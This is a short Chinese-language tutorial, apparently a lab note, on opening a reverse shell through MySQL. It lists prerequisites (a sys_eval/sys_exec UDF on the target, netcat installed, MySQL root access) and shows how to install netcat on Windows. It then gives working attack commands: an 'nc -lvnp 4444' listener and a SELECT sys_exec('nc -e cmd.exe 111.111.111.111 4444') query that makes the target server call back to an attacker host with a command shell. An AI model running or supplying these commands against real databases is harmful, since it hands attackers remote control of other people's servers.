通过MySQL反弹shell
前提条件
- 目标服务器的MySQL上已经创建sys_eval()函数,具体方法可见Mysql提权
- 目标服务器上安装了nc
- 已有目标服务器上MySQL的root用户
如何安装nc?(windows)
① 下载 Netcat for Windows
- 官方下载:https://eternallybored.org/misc/netcat/
- 选择
netcat-win32-1.12.zip
,解压后得到nc.exe
。
② 把 nc.exe
添加到环境变量
- 把
nc.exe
放到C:\Windows\System32\
(这样可以直接运行nc
)。 - 或者,把
nc.exe
所在目录添加到PATH
:
[Environment]::SetEnvironmentVariable("Path", "$env:Path;C:\path\to\nc", "User")
- 重新打开 CMD/PowerShell,运行
nc -h
测试是否成功。
实践
首先在攻击机终端打开监听,这里我选择的是4444端口,要选择一个没有被占用的端口
nc -lvnp 4444
这里我通过navicat连接靶机,输入以下代码即可
SELECT sys_exec('nc -e cmd.exe 111.111.111.111 4444');
看到反弹的shell,成功!